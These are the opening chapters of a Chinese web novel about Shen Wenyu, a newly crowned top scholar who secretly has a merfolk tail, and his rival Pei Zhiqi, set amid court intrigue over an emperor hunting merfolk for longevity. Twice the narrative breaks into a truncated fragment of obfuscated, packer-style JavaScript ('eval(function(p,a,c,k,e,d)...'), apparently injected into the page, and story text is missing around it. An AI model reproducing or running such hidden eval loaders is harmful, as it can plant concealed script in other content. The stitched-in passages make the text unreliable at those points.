《变成人鱼后被宿敌圈养了》 1. 状元 桃江县地处凤尾山以南,背倚连绵群山,近海,是个交通不便的地儿。 庞大崎岖的山脉中,围出了一块较平的落脚处,于是各村镇驻根在此,世代捕鱼为生,还算自给自足。新知县到后,一反常态号令修路,叫桃江县与外渐渐有了联系。 只是每隔许久,贫瘠无趣的桃江县就要热闹一次。 青灰粗麻衫的女子揽住四处盼望的小孩,皱着眉叮嘱。 “入了夜就待在屋头里,听好没?” 小桃生在小镇,一岁就跟着大人出海捕鱼,风吹日晒却也不黑,长得粉雕玉琢的,格外讨喜。 闻言眨着眼追问:“阿娘,为什么呀,今天村里好热闹!” 被称为阿娘的女子看着更像是少女,脸颊红润,皮肤紧致。不知为何,避而不答地摸了摸小桃的头:“你听话就是了。” 小桃脸圆,只有下巴那点可爱的尖尖,闻言认真地点了点头。 “好!” 好吵。 肚子里涨的难受,春桃醒来时习惯性想找阿娘带自己起夜,却没有发现阿娘的身影。 隐约听见了叔叔、伯伯、还有一些村里很疼爱自己的长辈的声音,似乎在讨论着什么,屋外柴火烧得前所未有的旺盛,几乎照亮剥落的墙皮,露出底下猩红的砖。 怎么回事,阿娘呢? 春桃揉了两把眼睛,在尿意的催促下终于忍不住,蹑手蹑脚出了屋。 阿娘在那个屋子吗? 被空置许久的木屋有了人声,开了道小缝,有铁锈般的味道飘出来。今夜的村子不知为何格外阴森,于是那点漫出来火红烛光自然成了注意力的源头。 春桃有些害怕,但长辈在的地方总是安全的,便一步一停地到了屋门口,有些生怯地推开了门。 不详的血光在暴露的同时,就已经刻入骨髓,与堂中那残缺的肢体一起,倒映在急剧放大的瞳孔中,成为此生难忘的阴影与梦魇。 春桃撕开了年幼尚且稚嫩的嗓子,爆发出骇人的尖叫: “——啊!!!!” . 灰鸟挟着利风破开层云,一头扎入鳞次栉比的京城,自高空盘旋而下,在屋檐拢了翅羽,歪着头,用那黑豆般的双目看底下攒动的人群。 “快看!状元郎入京了!!” 锣鼓喧天,彩锦十里,平京城的高墙遥遥耸立,苍穹上一片金云积叠,恢弘可观。 正是金乌初升之际,莺啼燕啭,细柳飘拂,好一番春光乍现。 夹道的娟俏女子已准备好了花篮,流盼催促间显出几分娇嗔。 “怎的还不来?” “这可不得了,连中三元的状元郎,二十多年未见了!” “快了快了,莫要急,别挤...诶,快瞧!那是不是!” 群情刹那鼎沸,水波般往一处荡去,越过层层视线的阻碍,满天飞舞的红绸被拨开,先入眼帘的是一双养尊处优的手。 那指节分明的手稳稳攥着白马的缰绳,隐约可见指尖发力的那点筋骨。 随后是一身绛红的官袍,打马时疾风勾勒出纤细腰身,更衬得人肤白胜雪。 不知谁率先扔出了一把散花,姹紫嫣红的花瓣纷纷扬扬如雨落,女子铃铛般的招呼与倩笑声叫人心神摇荡,俊马上实至名归的状元郎却看都未曾看一眼,只是随手拨走了落在发梢,露水未干的花瓣。 “好快意!也不知这状元郎能否官入翰林?” “翰林院?我看不止,你不知道吗,这位状元郎啊,考卷一出,陛下可是赞誉有加!” 一身着深蓝劲装的男子收回视线。 他恰巧在两位讨论的书生背后,适时插了句嘴:“哦?此话怎讲。” 书生闻言回头,见那男子谈吐得体,不免心生好感,憋了许久的卖弄无处宣泄,正需要一个人接言,于是攀谈起来。 “兄台可是此届的武考生?” 男子闻言一愣,思索半晌顺着应下:“是,称呼我谢晤便好。” “谢兄!”书生拱手,算是见了礼,“那难怪你不知。这位状元郎啊,是永康侯府的小儿子,永康侯府你知道吧?沈家祖上曾救过先祖的命,被敕封永康候,是世袭罔替的殊荣,祖祖辈辈受其林荫,不说入朝为官,几辈子荣华富贵总是有的,可偏偏后代长了一群歪瓜裂枣,总也不成气候,当纨绔当得得心应手…… “新侯爷沈朝言的儿子出生后,大家伙也以为会是骄奢无用的性子。嘿,你说怎么着,居然出落的惊才艳艳!真是祖坟冒青烟…这次陛下钦点的状元郎便是他,沈文誉。 “话说这沈文誉……” 这书生极有唠闲磕的天赋,舌根嚼得不亦乐乎,谢晤不得已打断了他:“您方才说陛下的赏识,是从何而来啊?” “是、是!”书生反应过来,“谢兄,见你五官不似北人,我就直说了。你也知道,咱们楚朝开疆扩土十几年……” 书生道,楚朝开疆扩土数十年,地跨外海内陆,收留了许多外族人,以北宛族北人为代表,陇合之围将其领土彻底划为楚。 只是北人大多文化低劣,交流不利,陛下厌恶得紧,又不知如何处理,收留也不行,不留也不行,一直是一块尾大不掉的累赘。 谢晤却沉默了许久,状似认真听的模样,目光却移向了踏马而来的扬眉状元郎。 ——就是在楚朝美人如云的国土上,这人也是鲜见的好颜色。 沈家嫡子沈文誉身上,完全见不到那些纨绔身上的油滑样。 男人容貌清绝,就算在暖热日光下,都显出几分爱答不理的冷意,眉毛似两笔的鸦青绘制,细而尖利,倒与眼尾那一挑漂亮的红色呼应。 五官韵味是上扬的,气质却是内敛而慵懒的,睫毛垂下时,引人看向他鼻尖那点小巧的痣。 于是书生的声音就这么在耳旁响起,像是一种旁白,道出这人艳惊四座的经历。 “......殿试题目简单,就是治国措施,考生都中规中矩地答了。他到好,笔刃指向近些年来的沉疴,条分缕析地列举了些处理北人的措施,最后得出了四字结论,陛下观阅后连连抚掌,喜欢得不行。啧啧,您猜是什么?” 谢晤:“什么?” 沈文誉策马而过,夹道的欢呼声更盛一层,新嫩的花瓣又如雨般飘扬,满街道都是芬芳馥郁的香气。落花被马蹄黏在土地上,成为了新春伊始的春泥。 他就这么瞥来了一眼,漫不经心的。唇瓣紧抿,很难想象会说出什么刻薄的话语。 “他说。” 那书生一唱三叹的腔调终于放弃了卖关子,在沈文誉衣袍翻飞之时,四字落音。 “——激浊扬清!” 谢晤下意识皱了眉。 沈文誉,字疏名。 哪怕生在沈家,也被保护得极好,不是行事嚣张的性子,在一举中魁之前,几乎是无名的存在。 沈家不结党、不联姻、不参朝政已经数年,眼下这一位状元郎出来,也不知在暗地里要掀起多少风浪。 这迎合皇帝心意的文章,是真心流露,还是有意为之? . 不论牵动了多少人勾结的心思,还是搅动了什么局势变动,沈文誉并无所谓。 日落黄昏之际,他才行至宅邸中。 及冠后独自搬出侯府不过一年,日子依旧清闲,没有什么变化,平日里下人们乐得无事,还有心思照顾些花花鸟鸟,连廊外一片花团锦簇。 自他回来后,宅上好似找到主心骨般,有条不紊地动了起来。 沈文誉叫人将马牵走,打算自己磨墨架笔,准备之后恩容宴的请帖。 牵马太久,手腕酸疼,沈文誉面无表情地揉了揉,一句尾音缠绵的呼唤跨越庭院而来,声先人至。 “文誉!” 一身着绯红璎珞花纹长袍,高束着发的男子扑过来。此君显然是粘着人亲亲抱抱的惯犯,灵巧得像只鸟,甚至还不怕沈文誉的冷脸。 显然是只没脸没皮的鸟。 鸟君本以为会抱个空,都准备好了脸往哪着地的角度,未曾想一直讨厌肢体接触的好友居然没躲。 沈文誉微不可见地踉跄一步。 他的腿根疼得难受,站稳后叹了口气,拍了拍男子的肩:“宋鹤,走开。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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宋鹤把梨一放:“呀!我就知道瞒不过我们文誉,那当然不是了,老头子那些官气忒重有什么好听的?” 他磨磨蹭蹭过来,拉住沈文誉的袖子。 “文誉,十日后锁春阁的主题宴,你就答应我嘛,大家都会来的,听说锁春阁安排了新鲜玩意,你若来,决计不会失望!” “看情况。”沈文誉最后一字落笔,将竹纹宣纸拿起来抖了抖,红纸套封后递给宋鹤,指尖点了点这请帖,“除非帮我把这请帖送至殿前司副都指使手中。” “谁?”宋鹤听后差点手抖。 沈文誉抿着唇,带着些促狭和坏:“还有谁吗?裴止弃啊。” “我当然知道你说那个人。” 宋鹤有些震惊。 “但我跟他算不上熟。裴止弃这人...挺不好接触的。再说了他身份如此敏感,你在答卷中好不痛快地挑剔了一遍外族人,你还敢在你的状元宴上邀请他?” 沈文誉:“不可以吗?” 宋鹤冷哼,“当然不——”他觑着沈文誉的脸色及时改了口,“不是问题!” 沈文誉:“……” “小疏名,我说你是真不知道还是故意的?”宋鹤正色道,“裴止弃可是北人,北人当官的限制层出不穷,偶尔的一位且不说终生躲不开‘左官’的头衔,轻蔑和孤立更是不加掩饰,你邀请他有什么好处?” “我好奇啊。”沈文誉看着窗外。 早春之际,抽芽的花叶遮不住嶙峋的枝,景色拓在窗棂之中,繁荣枯灭都囚禁于此,供人观赏。 他呢喃的声音散在风中,渐行渐远了。 “你说,居所被侵占,族人流离,击退外族的战功被远召回京却有功无名,甚至实权都被架空……”沈文誉一字一句,道出了连宋鹤都不甚清楚的详情,语气带着孩童天真而残忍的好奇,“你说,他就不恨吗?” 宋鹤没听清:“……什么?” 沈文誉瞥他一眼,轻松岔开了话题。 “没什么,宋鹤,我有些累了,你改日再来罢。……啊,请帖送不到人,就不必再来了。” 宋鹤被请走的时候敢怒不敢言。 等到宋鹤离开半刻钟,有暗卫翻身从屋檐跃下,凑至沈文誉身侧耳语几句。 毛笔尖沁出墨水,落在宣纸上一道丑陋的黑。 沈文誉表情愈发冷峻,眉尖微微蹙紧了。 恰在这时,宫里的召令下来。 传口谕的太监吊着嗓门,令永康侯之子沈文誉即刻入宫。 2. 初遇 “激浊扬清?” 略微意外的反应,声音低沉暗哑,还带着几分要笑不笑的嘲意。 谢晤二话不说跪下了,“是”。 “不过是出生不同、样貌不同、习俗不同、处境不同,非楚人,已经用清浊之分……这人有病?” 谢晤闻言,倒抽一口凉气,跪得更标准了,也不敢再接言。 “这楚人方才及冠,传言里温文尔雅、龙章凤姿,所以他哪来的深仇大恨?二十年都不够他的仇人成年,才屁点大,家门口种棵树都嫌他长得慢,这就恨上了?” 谢晤:“……” 虽然知道您就是那少数的为官北人,但您也没多大吧。 那人说完后也自觉没趣般,哼笑了一声,又陷入了长久的沉默。 谢晤:“需不需要属下……” 谢晤抬头,这个角度只能看见裴止弃锋利如刀刻般的侧脸,还有绷紧流畅的下颚。 男人的五官因异族而显得深邃,不笑的时候眼皮撂着,双眼皮上刻了戾气极重的一条线,锋利得过了头,总显得有些凶,但即使这样,也掩盖不了英俊明锐的底色。 裴止弃,楚朝罕见的为官北人,任中央禁军殿前司副都指使。 本该是适合扬威和养老的好职位,可惜命运不善,同他开了个玩笑,从血脉开始就低人一等,楚人骂他两句都觉得爽着了他,再好的职位也就成了粪上雕花。 纯好看的,没用。 裴止弃有些烦躁,指根揉了揉眉心,再抬眼时连表情隐晦的不爽都一齐抹去了,至少在面上看不出任何端倪。 本来生存处境就已经够艰难了,结果等了几年没等来皇帝的回心转意,等来了加在雪上的那把霜。惹谁了? “你?你能做什么。”裴止弃思索后开了口,“平素避开他点就是了...嘘,有人来了。” 两人无仇无怨,他本也犯不着上赶着讨嫌。只要沈文誉别作些幺蛾子。 他们当然可以相、安、无、事。 谢晤立刻警戒着站起身,被裴止弃在肩甲上按了按,力道没收住,险些把谢晤按个趔趄。裴止弃在仆从赶进来报信前就跨出了院门,敷衍对着来人一拱手。 “黄公公。” 作为皇帝身边的体己人儿,黄公公长了一副和善面,似乎瞧裴止弃也很喜爱似的,总是笑眯眯的。 “裴大人,陛下招您入宫呢。” 裴止弃这下真一愣,“怎么?” 即使作为副都指挥使,实际兵权也不在他手中,他的权利早被枢密院和兵部架空得不剩下什么,就是个用来稳定楚人制衡北人的筹码,荣华富贵不带他,坏事就赖他。 黄公公压低了声音,烘托出几分神秘,瞧着鬼迷日眼的:“哎呦大人,您去了就知道了,好事呢,陛下现在正欢喜着呢。” 裴止弃这下猜到了。 他嗤了声,嘴上没再说什么:不是版图外扩就是那劳什子鲛人事情。 圣谕当前,他示意知道了,二话不说策马入宫。 . 花影随着残阳倾斜到檐下,光丝斑驳成点,远方飞檐如鸟展翅,脊兽獠牙毕露,有蚀日之相。十余位早到的臣子在养心殿外等待圣召,正交头接耳地讨论着。 裴止弃到得稍晚了,反正无人同他攀谈,正是无聊的时候,目光一顿,锁在一道鸦青云袖罗袍的娴静背影上。 ……眼生。姿势清立乖巧,又带着微微的傲劲。 不是官服。 只是略微一想,裴止弃就反应过来了这人身份,简直想冷笑了。 还真是晦气。 刚说了少碰面,结果怕谁来谁。 也好,白日里状元郎策马游街的场面未曾瞧见,据说是万人空巷、夹道相迎的盛景,还传什么……“百年瑰玉,千年文誉”? 可惜角度原因,裴止弃只能看见这人雪白的脖颈和一小点脸颊。 二十岁不到的少年,身形还是过于清瘦了,薄肩柳腰,繁重的腰带将腰臀间收束出好看柔软的弧度,后颈纤细,不堪摧折。 就这样,还大义凌然地说管教北人。 被沈家养得太好了吧。 裴止弃捏了指尖,顿时觉得自己无事和少爷较劲也很无聊,刚要收回目光,却被一双眼睛承接了。 那眼眸澄净得不可思议。 在日光下微微泛着莹蓝,湿润而剔透,瞳仁吸收了光线泛着深黑,叫人想起还没起浪的海面……起浪了,看清了他后,那抹深蓝浮起迷茫。 …… 沈文誉怔了怔。 他天生五感敏锐,这道视线又不加掩饰,回头的时候恰好撞进男人视线。 男人一身玄色窄袖劲装,也不知是不是在休沐,竟然未穿官服。见他发觉,很快就将目光移开了。 认识吗? ......看着自己作甚? 沈文誉在脑中过了一遍认识的官员,一无所获,刚好太监来唤人,便与众臣一齐被领入殿内。 . 世人皆知,楚朝国君,延和帝楚萧,帝位不正。 楚萧在位二十余年,扩张版图近千里,戎马倥偬半生,文治武卫,是个载入史书的厉害人物,寰宇内数年来不受外敌进犯,也是这位延和帝的功劳。 可惜膝下皇子耽于宫斗。自太子早薨后,楚萧便一直未立储。 待朝野清平,府廪充韧,楚萧便效仿前人无为而治,上朝都上得稀松,一心寻起了长生的方子,耗费千金炼丹炼药,只可惜收效甚微。 兵权在手大半辈子的延和帝早就养成偏执阴戾的性子,颇有为达目的不择手段的铁腕,又令无数翰林学士翻阅古籍、与大国师彻夜密谈后,终于找到鲛人鳞、血、肉、心可延长寿命的记载。 延和十五年,有关人鱼的悬赏令应运而生。 举国哗然。 有关人鱼的传说一直存在。 但既然是传说,便自然带着传说那点暧昧幽微的特点,越含糊、越不可言说,越多人追捧。 当然会有人说见过,毕竟只要拿着足够漂亮的鱼鳞,嘴皮子够扯、信念够坚定,那么管他是鲫鱼鳞草鱼鳞,通通变成鲛人鳞。 此间,也不断有人拿着“证据”入宫领赏,但皇宫内好像有一套辨认的流程,因此砍头的被连诛三族的有,但荣华富贵三辈子的更有。 于是更多有关献礼之人飞黄腾达的故事流传民间,流传茶馆神色各异的众人间,有人不屑一顾的同时自然也有人趋之若鹜。 此番被急召入宫,众臣子面面相觑不知发生了何事,裴止弃熟练地把自己塞到角落里,找了个看热闹的地方。 延和帝端坐上方,神情愈发亢奋,见人都来了,迫不可待地身子前倾,垂旒珠玉响成一片:“朕的天目昨日奏报,曲临泉州桃江县内有活鲛——非死鲛,乃是罕世活鲛!朕御极二十有八载,夙夜兢兢,唯恐有负天恩。今上天垂怜,祥瑞显现,岂非天欲朕江山永固、万寿无疆!? “朕欲私服亲临,亦以示朕正道之举,众爱卿以为如何?” 正道,又是正道。 听见陛下要微服私访,还是去到底下一个不知名小县,有几位股肱大臣的脸色立即变了。 门下侍郎严礼峥立刻提高了声调:“不可。陛下龙体乃天下根本。山野之地,刁民尽出,陛下万不可亲身涉险,再者鲛人根本是子虚乌有,陛下……” “严侍郎一番话真叫人心寒,”吏部尚书温执不耐烦地打断了他,“太医皆言鲛人乃仙丹灵药,自古就存在活鲛一说,你倒好,再三驳斥,所为何?陛下,若有此事,臣愿遣人前往,必将其完整带回。” 此言一出,裴止弃叹了口气,隐晦翻了个白眼,知道又要开始吵了。 他完全不相信什么“鱼人”“鸟人”,神话故事那不都讲给小孩的。北宛族还在流离失所,为什么朝廷上要拉着所有人聊“山海经”? 鲛人…… 星移斗转数年,前人的妄话居然成了后人的妄想……如今引得天子布衣接连发疯,疯得如此真情实感,鱼人鸟人来了也要觉得真是好笑。 无聊至极。 裴止弃又阖了眼:但若论到实处,这确实是份好差使。 皇帝对鲛人的渴望已经到了病态的程度。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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这倒是陛下死穴,延和帝满心天恩、正道,以至于忘了若是没有寻到活鲛,这件事会变了什么味道。 沈文誉点到为止,继续道:“不如先敕桃江县令严加看守,再差使前往,将活鲛囚住。待确有其事,陛下再要亲临不迟。” “对了,”他话题一转,“有关温大人的提议……” 他说到这里,似乎在认真思索。 温执的目光果然被引着投向了沈文誉,上下打量了他一番,带着怀疑和警惕。 沈文誉一点头:“臣以为良策。桃江县地处泉州,据臣所知泉州知州谢微由温大人举荐,理应由温大人差人查明原委。” 温执呼吸一松,登时舒坦极了,看向沈文誉的目光带上了几分欣赏。 而严礼峥表情却依旧凝重。 他与背后几位同僚对了一下视线,心中浮起瓢囊似的念头:温党心急,这位沈家小儿子当场迎合温执心意,不知算不算投诚。 只是万一……结果落空…… 严礼争忧心忡忡地想,好差事办不利便为断头刀,这到底是真奉承,还是把人架在了火上?况且他怎么会如此清楚一个小县的官员由谁举荐、屁股又往哪歪? 但他很快又觉得是自己多虑了。 也许是巧合吧,沈家远离官场太久,估摸着就是看中了温家的权势,随手卖个乖。 “嗯,也好。” 延和帝冷静下来。 长期以来精神不宁叫他会露出几分混乱与癫狂,被劝了几句又有些倦了,摆摆手示意众臣退下,“那便如文誉所言。” 听到这,黄公公连忙毕恭毕敬地托住了延和帝的手,等到延和帝离开,才渐渐有讨论之声。 清流那边早看不惯温党的谄媚,几人冷笑一声,拂袖而去。 一场闹剧就这么结束了,裴止弃松了松站累的颈骨,打算回府好好歇息。 就在此时,他察觉到有人正靠近自己。 刹那回身,狠厉掌风破开空气,又急遽停在一张漂亮到有些惊艳的面孔旁。 他看见自己的偷窥对象停在自己身后,背着手,身子微微前倾,是一个好奇的姿势。 沈文誉略一歪头,单手拨开他的手掌:“你方才,一直盯着我做什么?” 3. 鲛人 他做这个举动的时候,分明是带着几分俏皮的,但周身气质又冷淡,再加上那张实在看不出好奇的脸,整个人充斥着强烈的矛盾和怪异感。 裴止弃一顿:“眼生。” 算是中规中矩的回答,沈文誉点点头:“我姓沈,名文誉。” 裴止弃手背扫了扫沈文誉,示意他让路,随后侧身同他擦肩而过:“不感兴趣。” 沈文誉被撞得肩膀一疼,有些莫名其妙。 . “就在这停罢。” 皇宫离住居不远,车夫将车停在宅邸外,等了一会儿才等到那客人掀起帘子,借着擦汗,没忍住又偷偷看了两眼。 好一位贵人! 月色朦胧,衬得那道身姿清癯,眉眼生得极艳,只是瞧着有几分疲怠。 客人摆了摆手示意不要人扶,车辕微微一沉,就这么轻巧地落了地。 宅邸门轩阔大,左右立门柱,外涂亮彩,顶上金字题匾,灯笼将夜晚照耀如白昼,端的是煊赫去处。 只是怎么下人这么少?连个迎门的都没有,这碧瓦朱檐也足见富贵,不像是拿不出薪酬的样子...... 不爱找人伺候的少爷还真是少见。 车夫随意猜测着,很快就领了赏钱走了,没看见所谓“贵人”背着他露出吃疼的表情。 “少爷!” “少爷您回来了!” 院落筑山穿池,竹木丛萃,顺着桥走到底,汤屋子里白铜小香炉上熏着暖香,烧到末了,余下幽微清涩的气息,宋鹤在的话就能认出来是沈文誉衣上常留的味儿。 沈文裕将外袍解开挂在一旁,摆了摆手,门口候着的侍女低着头退了出去,也没有多余的话。 沐浴不留人,这是少爷一贯以来的习惯。 很快备好了水,金丝楠的屏风隔出了一块狭小而静谧的空间,等到汤屋中只剩下自己,沈文誉几乎有些踉跄地扶住架子,呼出一口颤抖的气。 他年纪轻,不爱闹,更是鲜少骑马。 一日状元及第,围着平京城游街几个时辰,众人看他意气风发,快意潇洒,实际上他的腿本就带伤,加上又新磨破了皮,早就脱了力。 本想回来抹点药膏,没曾想一回来就碰上宋鹤,好容易将人哄走,又被召令入宫。 马不停蹄地再次赶上来回奔波,他愣是没找到机会抹药。 等下了朝,布料也反复摩擦伤口,黏在 血迹已经干涸的伤口上,现在连走路都难以忍受。 沈文誉缓慢脱掉了上衣。 屋檐下悬着的灯笼渐渐点亮了,隔远看,像是火红的云漂浮在低空中。 这灯火透过层惨白窗户纸映进室内,随着衣服落地的风晃动不已,照在裸露的皮与肉上,更显这具年轻躯体削肩腻肤,腰身纤薄。 沈文誉垂眸,指腹轻轻抵在腿内侧。 他左腿的腿根上带着几道奇怪的疤痕,也没什么章法可言,伤口纤细,深浅不一,像是用刀具等的尖物划成。 褐色疤痕爬在光洁的皮肤上,显得丑陋而突兀。 他没什么表情地碰了碰,六道伤,旧伤已经有些崩裂了,隐约有些红肿。 烛火的噼啪声衬得夜晚愈发静寂,偶有水流滴答,在这样的氛围中,沈文誉原本紧绷的肩线终于放松下来,将头发撩至身后,准备踏入浴桶。 忽地,室外传来了动静。 匆忙脚步声由远及近,珠帘被撞碎般哗啦啦响,掺杂着费力的嗬气声,在杂乱的喧阗里,闯进来了一个抱着水桶的陌生仆从。 仆从喘着气,脸红扑扑的。 怀中抱着一桶滚烫的水,已经浸湿了大半衣襟。 “主子!我看您回来的晚,水都凉了,来给您加点热......” “滚出去!” 沈文誉碰水的足尖火燎似收回,匆忙间裹了条袍子,把手边随手抓的花瓶一扔,止住了仆从还要往里探的步子。 仆从整个人一抖,不敢再动了。 沈文誉在瓷器尖锐的破碎声中,简直快抑制不住火气:“谁让你进来的!?” 原是好心,想得点夸奖,在主子跟前混个脸熟,但万万没想到是这样的反应。 仆从再愚笨也反应过来自己弄巧成拙了,登时吓得魂飞天外,连水泼出来也顾不上了,跪下连连磕头。 “小的,小的是怕主子受凉,不是有意的,还请主子责罚……!” 外面听见动静,传来一道很焦急的脚步声,一个容貌清丽的女子冲了进来。 那女子模样看着像管事,一见眼前情形,登时惊得面色煞白,冲上前将这仆从拎鸡崽似的拖了起来—— “少爷洗沐时严禁服侍,我是不是说过这话!” “小的,小的......” 那仆从既茫然又委屈,不知道自己犯了什么罪过。 女子二话不说也跪下了。 “公子息怒,是我的失职,这是新来的下人,还不懂规矩,我明日便将他遣走。” 沈文誉自上而下地睨过去,从这角度看去,那抹墨锋似的眼尾尖锐,垂下来的视线带着轻冷,好像在看一粒无关紧要的灰尘。 仆从连忙从地上爬起来跪了,浑身抖若筛糠。 烛火明明灭灭,在这令人寒毛倒立的气氛里,他突然读懂了这位主子隐蔽的杀心。 好不懂事。若是再晚个几分…… “素琴。”沈文誉唤。 女子应声:“属下在。” 沈文誉揉着鼻梁,半晌,吐出一口气,声音带着浓浓疲倦,警告了一句。 “没有下次。” 素琴是他从沈府搬出来时,母亲让他带走的人,零零总总算起来,跟了自己快十多年,忠心自然不必多说。 此番好在没酿出祸端,若是不慎撞见什么,就不像现在这么简单了。 沈文誉摆了手:“带出去好好领罚,记住教训。” 素琴有些自责地低了头:“是。” “此后我洗沐时,差人在门口看守。” “遵命!” 素琴福了一福,拎鸡崽似将这仆从提了出去。 等到几人离去,空气与水温一同冷下来,沈文誉才又将衣袍褪了,坐进了快凉透的水里。 说来也怪,这人身材不算壮实,骨肉停匀 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长逾七尺的冰蓝鱼尾。 浴池长宽约莫五尺,如此巨大的鱼尾蜷缩其中还是有几分艰难,但沈文誉显然已经习惯,随手将水泼在鳞片上,尾巴尖随他心意轻轻晃动。 他作为人的特征依然明显,至少上半身与他白日里相差无异,只有腰窝的位置生出了点点鱼鳞,显得腰身愈发不盈一握。 《九州集》摘录。 南明有海,其深极也,莫测其渊。偶有歌声泣夜月而悲风露。 渔人闻之,心魂俱动,遂驾舟逐之。行数日,得鲛。鲛长逾十尺,形体覆鳞,光泽似银,容貌鲜妍若女…… 贪其肉而食之,入口如甘露,味美,得长生。 . 他的来龙去脉似乎与母亲有关,池听屿说得不真切,他也就识趣地没多问。 也许因为鲛人习性未泯,沈文誉尤其喜爱嬉水,只可惜这个浴池还是太过狭窄了,不能游动,只能把他自己勉强塞下。 沈文誉又将纤长的鱼尾艰难地舒展几分,托着脸颊撑在岸边,已经有些恹恹欲睡。 听说海里不会这么拘束。 温暖、澄净、波光粼粼,海鸟翱翔,悠长的鸣叫,被水流裹挟的每一寸肌肤活泛起来,可以一直游到深海尽头,好像回到了母亲幽暗而安全的羊水之中。 沈文誉今日得了机会入宫,跪在殿外时,从斜飞入天的翘檐下窥见了广阔天地的一角,再多的却被挡全了,与他无关。 只觉得这尖尖的形状与鱼钩好相似。 自己好像永远留在一个庞大而精致的囚笼中,困于一隅,埋名此生。 一时只觉得喘不过气来。 消息已经递出。 不论朝廷派了谁,那些官员的来回奔波都带着养尊处优的磨蹭,他的人应当来得及……只是可惜分身乏术,不能亲自赶去确认情况。 不日后便是状元宴。 那人……又是否会来呢。 4. 异变 两日后。 礼康街横亘在平京城北,城内的官署大多居住在此地,门面轩敞,因此道路也宽阔气派。 邻近的集市有栋酒楼,又名如日兴,由于地段极好,时常有朝官或巨贾在此谈生意。就这样攀高结贵,连普通开个座都免不了十两银子,今日更是格外热闹。 听闻是那位新科状元郎的宴邀。 由于新宅坐落在此,许多京官应了邀请来凑个热闹,再加上宋鹤的好友们结伴而来,自辰时沈宅里就有侍女备着餐,流水似地进出庭院。 彩灯彩绸早已挂上门廊,宅邸门口车马骈阗,熙来攘往,热闹不已。 沈文誉绕到后厨,清点了一轮食谱,恰巧听见旁边有些动静,恰好撞见溜进来想偷偷摸侍女小手的宋鹤。 他登时有些无言地抱臂靠在门沿上,盯着好友顶风作案。 宋鹤掐了把侍女脸蛋,爱不释手,“好妹妹,你跟着那闷葫芦有什么好的?我瞧你可爱,喜欢得紧,不然你从这儿辞了跟我走吧?” 沈文誉:“……” 宋鹤身材高挑,一身绛紫祥云织锦衫,高束着发,乌红发带垂在身前,看着好是精心打扮了一番,显出十足的少年英气。 本以为是来这里给自己撑场面,没想到此骚包醉翁之意不在酒。 小侍女原本还倩笑着躲开,让公子别作弄她,忽地脸颊就红透了。宋鹤有些奇怪,顺着目光回头,看见了倚在门框上面无表情的沈文誉,瞬间火燎了似瞬间撒开手,惊得险些跳起来。 “吓,你在这扮鬼啊!?” 沈文誉摆手示意侍女退下:“别贫,人呢?” 嘴上说是让他喊不到人就别来了,但按照宋鹤“没什么事情是撒娇不能解决的,如果有那就再撒一个”的没脸没皮本性,沈文誉也拿不准他究竟有没有把人带到。 但不来也无所谓,说到底只是好奇。反正他有的是手段知道裴止弃生平。 宋鹤一拍胸脯,熟稔地勾过好友的肩:“小疏名,你也不看看我是谁?你都发话了那肯定的呀,快跟我来!” …… 宴会设在东南角的庭院。 小园显然是精心侍弄过的,瞧得出主人品味,亭台流水、碧叶扶疏,十几种名贵的花卉雅致地点缀在园圃之间。 环院的流水里摇摇晃晃飘着几盏酒杯,被捞起来时,掀起一阵喧腾欢呼的浪。 宋鹤拉着沈文誉绕过假山,往后边隐蔽的新亭走,像炫耀的鸟儿似挺了挺胸脯。 “想不到吧?哎呦你这可得好好记着我的恩情,就不让你报答了,谁让你有这么英俊潇洒完美可靠的朋友……” “也可以没有。”沈文誉嫌吵,揉了揉耳朵,叹了一口气。 “喂!”宋鹤强行按过好友肩颈,看见沈文誉步伐不稳又蹙了眉,于是悻悻松了手:“啧,你的腿怎么还没好……” “不过裴止弃比我想象的好说话?看他总臭脸的样子,我还以为脾气很差呢。虽说之前和老爹一起的时候接触过一两次,但还算不上熟,我那天问他的时候他也没正面回我,哪知道今天真过来了,还以为不会给我面子……” 他就这么絮絮叨叨一长串,也就没听见沈文誉的哂笑。 沈文誉心道:“谁敢不给你面子?你哥可是兵部侍郎。他在兵部似乎有职位,只是虚挂着,像是哄狗的骨头一样。” 但嘴上还是嗯嗯地敷衍了两句,把宋鹤哄得心花怒放。 绕过假山再行几步,已经能看见新搭的亭子。坐落四角的兽头模样轩昂极了,正冲着天怒吼着,由于四周无人,显得有些许寥落。 据宋鹤说,裴止弃已经在那里等了一会。 见沈文誉往那方向走,许多宾客的视线敏锐地追了上来,暗暗关注情形。 毕竟沈文誉考卷中流露出来对北人的恶弃不假,自入府的一刻起,裴止弃就已经无声成为了暗流涌动的中心。 宋鹤倒是无知无觉,只是一股脑地倒豆子。 “小疏名,你现在可以告诉我你为什么专程让我喊他来了吗?难道是听那些女孩子们说他好看?你别担心,在兄弟心里肯定还是你最……” “嗯?不是,”沈文誉随口回了一句,“听说是绣花枕头。” “绣花枕头?”宋鹤满头雾水,眯着眼回想了一下,不由打了个寒噤,“你听谁说的,你可千万别…惹……” 话还没说完,隔着层层繁枝,看见了八角亭里一个乌金高挑的身影。 他就这么背对着沈、宋二人,半撑着额角慵懒依在美人靠上,看水中红鲤逐莲跃叶,身后披散的长发带着自然弯卷的弧度。 几片落叶在空中旋了一阵,飘在那人身上,被他轻描淡写拨去了。 男人听见谈话的动静回过头。 宋鹤口中几句话还没说完,看见裴止弃回头了又想打个招呼,一张嘴忙得不可开交,就这么眼睁睁看着沈文誉走上前去——手慢了半拍,没拉住。 裴止弃没有想象中的脾气差,沈文誉也没有传闻里的脾气好,这是宋鹤的结论。 他俩要是吵起来自己肯定帮亲不帮理…但这是帮不帮的问题吗!? 他俩加在一起都打不过一只手的裴止弃! 人家可是货真价实的“护圣驾有功”! 沈文誉重新站定在裴止弃跟前,一双如琉璃清透的眸子静静盯着他。 熟悉的场景,如果他再歪过头去问一句“你盯着我看做什么”,那就会像陷入了一个奇怪的循环。 裴止弃一身武将时兴的乌金暗纹圆领袍,暗纹自领口绣到了后腰,像是身上盘踞着一条若隐若现的蛇。男人身材极好,宽肩蜂腰,护臂束着的手腕肌肉线条流畅,还有一张……似曾相识的脸。 沈文誉凑近了才发现,这人眼睫毛都带点异族的蜷曲。 “幸会。” 